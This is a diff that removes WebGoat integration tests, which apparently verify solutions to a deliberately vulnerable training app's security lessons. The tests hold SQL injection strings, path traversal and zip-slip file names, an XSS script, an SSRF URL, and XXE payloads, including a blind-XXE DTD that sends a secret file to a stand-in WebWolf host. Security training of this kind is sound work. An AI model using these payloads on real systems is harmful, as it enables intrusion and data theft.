-        List.of(
-            "HttpBasics",
-            "HttpProxies",
-            "CIA",
-            "InsecureLogin",
-            "Cryptography",
-            "PathTraversal",
-            "XXE",
-            "JWT",
-            "IDOR",
-            "SSRF",
-            "WebWolfIntroduction",
-            "CrossSiteScripting",
-            "CSRF",
-            "HijackSession",
-            "SqlInjection",
-            "SqlInjectionMitigations",
-            "SqlInjectionAdvanced",
-            "Challenge1");
-    for (String lesson : allLessons) {
-      startLesson(lesson);
-      List<String> hintKeys = getHints();
-      for (String key : hintKeys) {
-        String keyValue =
-            jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-        // System.out.println("key: " + key + " ,value: " + keyValue);
-        Assertions.assertNotNull(keyValue);
-        Assertions.assertNotEquals(key, keyValue);
-      }
-    }
-    // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
-    // ""+jsonPath.getList("hint").get(0));
-  }
-
-  @Test
-  public void testLabels() {
-
-    JsonPath jsonPathLabels = getLabels("en");
-    Properties propsDefault = getProperties("");
-    for (String key : propsDefault.stringPropertyNames()) {
-      String keyValue =
-          jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-      Assertions.assertNotNull(keyValue);
-    }
-    checkLang(propsDefault, "nl");
-    checkLang(propsDefault, "de");
-    checkLang(propsDefault, "fr");
-    checkLang(propsDefault, "ru");
-  }
-
-  private Properties getProperties(String lang) {
-    Properties prop = null;
-    if (lang == null || lang.equals("")) {
-      lang = "";
-    } else {
-      lang = "_" + lang;
-    }
-    try (InputStream input =
-        new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
-
-      prop = new Properties();
-      // load a properties file
-      prop.load(input);
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-    return prop;
-  }
-
-  private void checkLang(Properties propsDefault, String lang) {
-    JsonPath jsonPath = getLabels(lang);
-    Properties propsLang = getProperties(lang);
-
-    for (String key : propsLang.stringPropertyNames()) {
-      if (!propsDefault.containsKey(key)) {
-        System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
-        Assertions.fail();
-      }
-      if (!jsonPath
-          .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
-          .equals(propsLang.get(key))) {
-        System.out.println(
-            "key: " + key + " in (" + lang + ") has incorrect translation in label service");
-        System.out.println(
-            "actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
-        System.out.println("expected: " + propsLang.getProperty(key));
-        System.out.println();
-        Assertions.fail();
-      }
-    }
-  }
-
-  private JsonPath getLabels(String lang) {
-    return RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .contentType(ContentType.JSON)
-        .header("Accept-Language", lang)
-        .cookie("JSESSIONID", getWebGoatCookie())
-        // .log().headers()
-        .get(url("service/labels.mvc"))
-        .then()
-        // .log().all()
-        .statusCode(200)
-        .extract()
-        .jsonPath();
-  }
-
-  private List<String> getHints() {
-    JsonPath jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/hint.mvc"))
-            .then()
-            // .log().all()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    return jsonPath.getList("hint");
-  }
-}

src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java

@@ -1,148 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import io.restassured.RestAssured;
-import java.util.Arrays;
-import java.util.Map;
-import org.apache.commons.lang3.StringUtils;
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-import org.springframework.http.HttpHeaders;
-
-public class PasswordResetLessonIntegrationTest extends IntegrationTest {
-
-  @BeforeEach
-  public void init() {
-    startLesson("PasswordReset");
-  }
-
-  @TestFactory
-  Iterable<DynamicTest> passwordResetLesson() {
-    return Arrays.asList(
-        dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
-        dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
-        dynamicTest("assignment 2 - simple reset", () -> assignment2()),
-        dynamicTest("assignment 4 - guess questions", () -> assignment4()),
-        dynamicTest("assignment 5 - simple questions", () -> assignment5()));
-  }
-
-  public void assignment2() {
-    checkAssignment(
-        url("PasswordReset/simple-mail/reset"),
-        Map.of("emailReset", this.getUser() + "@webgoat.org"),
-        false);
-    checkAssignment(
-        url("PasswordReset/simple-mail"),
-        Map.of(
-            "email",
-            this.getUser() + "@webgoat.org",
-            "password",
-            StringUtils.reverse(this.getUser())),
-        true);
-  }
-
-  public void assignment4() {
-    checkAssignment(
-        url("PasswordReset/questions"),
-        Map.of("username", "tom", "securityQuestion", "purple"),
-        true);
-  }
-
-  public void assignment5() {
-    checkAssignment(
-        url("PasswordReset/SecurityQuestions"),
-        Map.of("question", "What is your favorite animal?"),
-        false);
-    checkAssignment(
-        url("PasswordReset/SecurityQuestions"),
-        Map.of("question", "What is your favorite color?"),
-        true);
-  }
-
-  public void solveAssignment() {
-    // WebGoat
-    clickForgotEmailLink("tom@webgoat-cloud.org");
-
-    // WebWolf
-    var link = getPasswordResetLinkFromLandingPage();
-
-    // WebGoat
-    changePassword(link);
-    checkAssignment(
-        url("PasswordReset/reset/login"),
-        Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
-        true);
-  }
-
-  public void sendEmailShouldBeAvailableInWebWolf() {
-    clickForgotEmailLink(this.getUser() + "@webgoat.org");
-
-    var responseBody =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("mail"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-
-    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
-  }
-
-  @AfterEach
-  public void shutdown() {
-    // this will run only once after the list of dynamic tests has run, this is to test if the
-    // lesson is marked complete
-    checkResults("/PasswordReset");
-  }
-
-  private void changePassword(String link) {
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .formParams("resetLink", link, "password", "123456")
-        .post(url("PasswordReset/reset/change-password"))
-        .then()
-        .statusCode(200);
-  }
-
-  private String getPasswordResetLinkFromLandingPage() {
-    var responseBody =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("requests"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
-    var link =
-        responseBody.substring(
-            startIndex + "/PasswordReset/reset/reset-password/".length(),
-            responseBody.indexOf(",", startIndex) - 1);
-    return link;
-  }
-
-  private void clickForgotEmailLink(String user) {
-    RestAssured.given()
-        .when()
-        .header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", getWebWolfPort()))
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .formParams("email", user)
-        .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
-        .then()
-        .statusCode(200);
-  }
-}

src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java

@@ -1,152 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import io.restassured.RestAssured;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.Arrays;
-import java.util.Map;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipOutputStream;
-import lombok.SneakyThrows;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-import org.junit.jupiter.api.io.TempDir;
-import org.springframework.security.core.token.Sha512DigestUtils;
-
-class PathTraversalIT extends IntegrationTest {
-
-  @TempDir Path tempDir;
-
-  private File fileToUpload = null;
-
-  @BeforeEach
-  @SneakyThrows
-  public void init() {
-    fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
-    Files.write(fileToUpload.toPath(), "This is a test".getBytes());
-    startLesson("PathTraversal");
-  }
-
-  @TestFactory
-  Iterable<DynamicTest> testPathTraversal() {
-    return Arrays.asList(
-        dynamicTest("assignment 1 - profile upload", () -> assignment1()),
-        dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
-        dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
-        dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
-        dynamicTest("assignment 5 - zip slip", () -> assignment5()));
-  }
-
-  private void assignment1() throws IOException {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-            .param("fullName", "../John Doe")
-            .post(url("PathTraversal/profile-upload"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void assignment2() throws IOException {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-            .param("fullNameFix", "..././John Doe")
-            .post(url("PathTraversal/profile-upload-fix"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void assignment3() throws IOException {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart(
-                "uploadedFileRemoveUserInput",
-                "../test.jpg",
-                Files.readAllBytes(fileToUpload.toPath()))
-            .post(url("PathTraversal/profile-upload-remove-user-input"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void assignment4() throws IOException {
-    var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
-    RestAssured.given()
-        .urlEncodingEnabled(false)
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url(uri))
-        .then()
-        .statusCode(200)
-        .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
-
-    checkAssignment(
-        url("PathTraversal/random"),
-        Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
-        true);
-  }
-
-  private void assignment5() throws IOException {
-    var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
-    webGoatHome =
-        webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
-
-    var webGoatDirectory = new File(webGoatHome);
-    var zipFile = new File(tempDir.toFile(), "upload.zip");
-    try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
-      ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
-      zos.putNextEntry(e);
-      zos.write("test".getBytes(StandardCharsets.UTF_8));
-    }
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
-            .post(url("PathTraversal/zip-slip"))
-            .then()
-            .log()
-            .all()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  @AfterEach
-  void shutdown() {
-    // this will run only once after the list of dynamic tests has run, this is to test if the
-    // lesson is marked complete
-    checkResults("/PathTraversal");
-  }
-}

src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java

@@ -1,57 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.response.Response;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void runTests() throws InterruptedException {
-    int NUMBER_OF_CALLS = 40;
-    int NUMBER_OF_PARALLEL_THREADS = 5;
-    startLesson("Challenge1");
-
-    Callable<Response> call =
-        () -> {
-          // System.out.println("thread "+Thread.currentThread().getName());
-          return RestAssured.given()
-              .when()
-              .relaxedHTTPSValidation()
-              .cookie("JSESSIONID", getWebGoatCookie())
-              .formParams(Map.of("flag", "test"))
-              .post(url("challenge/flag"));
-        };
-    ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
-    List<? extends Callable<Response>> flagCalls =
-        IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
-    var responses = executorService.invokeAll(flagCalls);
-
-    // A certain amount of parallel calls should fail as optimistic locking in DB is applied
-    long countStatusCode500 =
-        responses.stream()
-            .filter(
-                r -> {
-                  try {
-                    // System.err.println(r.get().getStatusCode());
-                    return r.get().getStatusCode() != 200;
-                  } catch (InterruptedException | ExecutionException e) {
-                    // System.err.println(e);
-                    throw new IllegalStateException(e);
-                  }
-                })
-            .count();
-    System.err.println("counted status 500: " + countStatusCode500);
-    Assertions.assertThat(countStatusCode500)
-        .isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
-  }
-}

src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java

@@ -1,26 +0,0 @@
-package org.owasp.webgoat;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-public class SSRFIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void runTests() throws IOException {
-    startLesson("SSRF");
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("url", "images/jerry.png");
-
-    checkAssignment(url("SSRF/task1"), params, true);
-    params.clear();
-    params.put("url", "http://ifconfig.pro");
-
-    checkAssignment(url("SSRF/task2"), params, true);
-
-    checkResults("/SSRF/");
-  }
-}

src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java

@@ -1,61 +0,0 @@
-package org.owasp.webgoat;
-
-import java.util.HashMap;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void runTests() {
-    startLesson("SqlInjectionAdvanced");
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("username_reg", "tom' AND substring(password,1,1)='t");
-    params.put("password_reg", "password");
-    params.put("email_reg", "someone@microsoft.com");
-    params.put("confirm_password", "password");
-    checkAssignmentWithPUT(url("SqlInjectionAdvanced/challenge"), params, true);
-
-    params.clear();
-    params.put("username_login", "tom");
-    params.put("password_login", "thisisasecretfortomonly");
-    checkAssignment(url("SqlInjectionAdvanced/challenge_Login"), params, true);
-
-    params.clear();
-    params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
-    checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);
-
-    params.clear();
-    params.put(
-        "userid_6a",
-        "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
-            + " user_system_data --");
-    checkAssignment(url("SqlInjectionAdvanced/attack6a"), params, true);
-
-    params.clear();
-    params.put("userid_6b", "passW0rD");
-    checkAssignment(url("SqlInjectionAdvanced/attack6b"), params, true);
-
-    params.clear();
-    params.put(
-        "question_0_solution",
-        "Solution 4: A statement has got values instead of a prepared statement");
-    params.put("question_1_solution", "Solution 3: ?");
-    params.put(
-        "question_2_solution",
-        "Solution 2: Prepared statements are compiled once by the database management system"
-            + " waiting for input and are pre-compiled this way.");
-    params.put(
-        "question_3_solution",
-        "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
-            + " resulting in a seperation of code and data.");
-    params.put(
-        "question_4_solution",
-        "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
-    checkAssignment(url("SqlInjectionAdvanced/quiz"), params, true);
-
-    checkResults("/SqlInjectionAdvanced/");
-  }
-}

src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java

@@ -1,78 +0,0 @@
-package org.owasp.webgoat;
-
-import java.util.HashMap;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
-
-  public static final String sql_2 = "select department from employees where last_name='Franco'";
-  public static final String sql_3 =
-      "update employees set department='Sales' where last_name='Barnett'";
-  public static final String sql_4_drop = "alter table employees drop column phone";
-  public static final String sql_4_add = "alter table employees add column phone varchar(20)";
-  public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
-  public static final String sql_9_account = " ' ";
-  public static final String sql_9_operator = "or";
-  public static final String sql_9_injection = "'1'='1";
-  public static final String sql_10_login_count = "2";
-  public static final String sql_10_userid = "1 or 1=1";
-
-  public static final String sql_11_a = "Smith' or '1' = '1";
-  public static final String sql_11_b = "3SL99A'  or '1'='1";
-
-  public static final String sql_12_a = "Smith";
-  public static final String sql_12_b =
-      "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
-
-  public static final String sql_13 = "%update% '; drop table access_log ; --'";
-
-  @Test
-  public void runTests() {
-    startLesson("SqlInjection");
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("query", sql_2);
-    checkAssignment(url("SqlInjection/attack2"), params, true);
-
-    params.clear();
-    params.put("query", sql_3);
-    checkAssignment(url("SqlInjection/attack3"), params, true);
-
-    params.clear();
-    params.put("query", sql_4_add);
-    checkAssignment(url("SqlInjection/attack4"), params, true);
-
-    params.clear();
-    params.put("query", sql_5);
-    checkAssignment(url("SqlInjection/attack5"), params, true);
-
-    params.clear();
-    params.put("operator", sql_9_operator);
-    params.put("account", sql_9_account);
-    params.put("injection", sql_9_injection);
-    checkAssignment(url("SqlInjection/assignment5a"), params, true);
-
-    params.clear();
-    params.put("login_count", sql_10_login_count);
-    params.put("userid", sql_10_userid);
-    checkAssignment(url("SqlInjection/assignment5b"), params, true);
-
-    params.clear();
-    params.put("name", sql_11_a);
-    params.put("auth_tan", sql_11_b);
-    checkAssignment(url("SqlInjection/attack8"), params, true);
-
-    params.clear();
-    params.put("name", sql_12_a);
-    params.put("auth_tan", sql_12_b);
-    checkAssignment(url("SqlInjection/attack9"), params, true);
-
-    params.clear();
-    params.put("action_string", sql_13);
-    checkAssignment(url("SqlInjection/attack10"), params, true);
-
-    checkResults("/SqlInjection/");
-  }
-}

src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java

@@ -1,85 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.hamcrest.CoreMatchers.containsString;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import java.util.HashMap;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void runTests() {
-    startLesson("SqlInjectionMitigations");
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("field1", "getConnection");
-    params.put("field2", "PreparedStatement prep");
-    params.put("field3", "prepareStatement");
-    params.put("field4", "?");
-    params.put("field5", "?");
-    params.put("field6", "prep.setString(1,\"\")");
-    params.put("field7", "prep.setString(2,\\\"\\\")");
-    checkAssignment(url("SqlInjectionMitigations/attack10a"), params, true);
-
-    params.put(
-        "editor",
-        "try {\r\n"
-            + "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
-            + "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
-            + " = ?\");\r\n"
-            + "    prep.setString(1,\"me\");\r\n"
-            + "    prep.execute();\r\n"
-            + "    System.out.println(conn);   //should output 'null'\r\n"
-            + "} catch (Exception e) {\r\n"
-            + "    System.out.println(\"Oops. Something went wrong!\");\r\n"
-            + "}");
-    checkAssignment(url("SqlInjectionMitigations/attack10b"), params, true);
-
-    params.clear();
-    params.put(
-        "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
-    checkAssignment(url("SqlOnlyInputValidation/attack"), params, true);
-
-    params.clear();
-    params.put(
-        "userid_sql_only_input_validation_on_keywords",
-        "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
-    checkAssignment(url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
-
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .contentType(ContentType.JSON)
-        .get(
-            url(
-                "SqlInjectionMitigations/servers?column=(case when (true) then hostname"
-                    + " else id end)"))
-        .then()
-        .statusCode(200);
-
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .contentType(ContentType.JSON)
-        .get(url("SqlInjectionMitigations/servers?column=unknown"))
-        .then()
-        .statusCode(500)
-        .body(
-            "trace",
-            containsString(
-                "select id, hostname, ip, mac, status, description from SERVERS where status <>"
-                    + " 'out of order' order by"));
-
-    params.clear();
-    params.put("ip", "104.130.219.202");
-    checkAssignment(url("SqlInjectionMitigations/attack12a"), params, true);
-
-    checkResults();
-  }
-}

src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java

@@ -1,77 +0,0 @@
-package org.owasp.webgoat;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import io.restassured.RestAssured;
-import java.util.HashMap;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-public class WebWolfIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void runTests() {
-    startLesson("WebWolfIntroduction");
-
-    // Assignment 3
-    Map<String, Object> params = new HashMap<>();
-    params.put("email", this.getUser() + "@webgoat.org");
-    checkAssignment(url("WebWolf/mail/send"), params, false);
-
-    String responseBody =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("mail"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-
-    String uniqueCode = responseBody.replace("%20", " ");
-    uniqueCode =
-        uniqueCode.substring(
-            21 + uniqueCode.lastIndexOf("your unique code is: "),
-            uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
-    params.clear();
-    params.put("uniqueCode", uniqueCode);
-    checkAssignment(url("WebWolf/mail"), params, true);
-
-    // Assignment 4
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .queryParams(params)
-        .get(url("WebWolf/landing/password-reset"))
-        .then()
-        .statusCode(200);
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("WEBWOLFSESSION", getWebWolfCookie())
-        .queryParams(params)
-        .get(webWolfUrl("landing"))
-        .then()
-        .statusCode(200);
-    responseBody =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("requests"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    assertTrue(responseBody.contains(uniqueCode));
-    params.clear();
-    params.put("uniqueCode", uniqueCode);
-    checkAssignment(url("WebWolf/landing"), params, true);
-
-    checkResults("/WebWolf");
-  }
-}

src/it/java/org/owasp/webgoat/XSSIntegrationTest.java

@@ -1,116 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import java.util.HashMap;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-public class XSSIntegrationTest extends IntegrationTest {
-
-  @Test
-  public void crossSiteScriptingAssignments() {
-    startLesson("CrossSiteScripting");
-
-    Map<String, Object> params = new HashMap<>();
-    params.clear();
-    params.put("checkboxAttack1", "value");
-    checkAssignment(url("CrossSiteScripting/attack1"), params, true);
-
-    params.clear();
-    params.put("QTY1", "1");
-    params.put("QTY2", "1");
-    params.put("QTY3", "1");
-    params.put("QTY4", "1");
-    params.put("field1", "<script>alert('XSS+Test')</script>");
-    params.put("field2", "111");
-    checkAssignmentWithGet(url("CrossSiteScripting/attack5a"), params, true);
-
-    params.clear();
-    params.put("DOMTestRoute", "start.mvc#test");
-    checkAssignment(url("CrossSiteScripting/attack6a"), params, true);
-
-    params.clear();
-    params.put("param1", "42");
-    params.put("param2", "24");
-
-    String result =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("webgoat-requested-by", "dom-xss-vuln")
-            .header("X-Requested-With", "XMLHttpRequest")
-            .formParams(params)
-            .post(url("CrossSiteScripting/phone-home-xss"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("output");
-    String secretNumber = result.substring("phoneHome Response is ".length());
-
-    params.clear();
-    params.put("successMessage", secretNumber);
-    checkAssignment(url("CrossSiteScripting/dom-follow-up"), params, true);
-
-    params.clear();
-    params.put(
-        "question_0_solution",
-        "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
-            + " the browser does not know that the script is malicious.");
-    params.put(
-        "question_1_solution",
-        "Solution 3: The data is included in dynamic content that is sent to a web user without"
-            + " being validated for malicious content.");
-    params.put(
-        "question_2_solution",
-        "Solution 1: The script is permanently stored on the server and the victim gets the"
-            + " malicious script when requesting information from the server.");
-    params.put(
-        "question_3_solution",
-        "Solution 2: They reflect the injected script off the web server. That occurs when input"
-            + " sent to the web server is part of the request.");
-    params.put(
-        "question_4_solution",
-        "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
-            + " the browser executes.");
-    checkAssignment(url("CrossSiteScripting/quiz"), params, true);
-
-    params.clear();
-    params.put(
-        "editor",
-        "<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
-            + "<html>"
-            + "<head>"
-            + "<title>Using GET and POST Method to Read Form Data</title>"
-            + "</head>"
-            + "<body>"
-            + "<h1>Using POST Method to Read Form Data</h1>"
-            + "<table>"
-            + "<tbody>"
-            + "<tr>"
-            + "<td><b>First Name:</b></td>"
-            + "<td>${e:forHtml(param.first_name)}</td>"
-            + "</tr>"
-            + "<tr>"
-            + "<td><b>Last Name:</b></td>"
-            + "<td>${e:forHtml(param.last_name)}</td>"
-            + "</tr>"
-            + "</tbody>"
-            + "</table>"
-            + "</body>"
-            + "</html>");
-    checkAssignment(url("CrossSiteScripting/attack3"), params, true);
-
-    params.clear();
-    params.put(
-        "editor2",
-        "Policy.getInstance(\"antisamy-slashdot.xml\");"
-            + "Sammy s = new AntiSamy();"
-            + "s.scan(newComment,\"\");"
-            + "CleanResults();"
-            + "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
-    checkAssignment(url("CrossSiteScripting/attack4"), params, true);
-
-    checkResults("/CrossSiteScripting");
-  }
-}

src/it/java/org/owasp/webgoat/XXEIntegrationTest.java

@@ -1,126 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-import org.junit.jupiter.api.Test;
-
-public class XXEIntegrationTest extends IntegrationTest {
-
-  private static final String xxe3 =
-      """
-      <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
-      """;
-  private static final String xxe4 =
-      """
-     <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
-     """;
-  private static final String dtd7 =
-      """
-      <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
-      """;
-  private static final String xxe7 =
-      """
-      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
-      """;
-
-  private String webGoatHomeDirectory;
-  private String webWolfFileServerLocation;
-
-  /*
-   * This test is to verify that all is secure when XXE security patch is applied.
-   */
-  @Test
-  public void xxeSecure() throws IOException {
-    startLesson("XXE");
-    webGoatHomeDirectory = webGoatServerDirectory();
-    webWolfFileServerLocation = getWebWolfFileServerLocation();
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url("service/enable-security.mvc"))
-        .then()
-        .statusCode(200);
-    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
-    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
-    checkAssignment(
-        url("xxe/blind"),
-        ContentType.XML,
-        "<comment><text>" + getSecret() + "</text></comment>",
-        false);
-  }
-
-  /**
-   * This performs the steps of the exercise before the secret can be committed in the final step.
-   *
-   * @return
